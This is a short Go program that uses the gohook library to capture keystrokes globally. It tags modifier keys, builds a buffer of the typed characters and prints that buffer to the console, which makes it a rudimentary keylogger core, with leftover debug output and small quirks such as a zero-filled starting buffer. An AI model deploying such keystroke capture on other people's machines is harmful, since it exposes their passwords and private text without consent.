package main import ( "fmt" hook "github.com/robotn/gohook" ) const ( SHIFT_RAWCODE = 65505 CTRL_RAWCODE = 65507 ALT_RAWCODE = 65513 DEL_KEYCHAR = 8 ENTER_KEYCHAR = 13 REG_START = 32 REG_END = 255 ) func main() { evChan := hook.Start() defer hook.End() buff := make([]byte, 64) for ev := range evChan { switch ev.Rawcode { case SHIFT_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[SHIFT]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[shift]")...) } continue case CTRL_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[CTRL]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[ctrl]")...) } continue case ALT_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[ALT]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[alt]")...) } continue case DEL_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[DEL]")...) } continue } switch ev.Keychar { case DEL_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[DEL]")...) } continue case ENTER_KEYCHAR: if ev.Kind == hook.KeyDown { fmt.Printf("A") buff = append(buff, []byte("\n")...) } continue } if REG_START <= ev.Keychar && ev.Keychar <= REG_END { if ev.Kind == hook.KeyDown { fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode) buff = append(buff, byte(ev.Keychar)) } } fmt.Printf("'%s'\n", buff) } }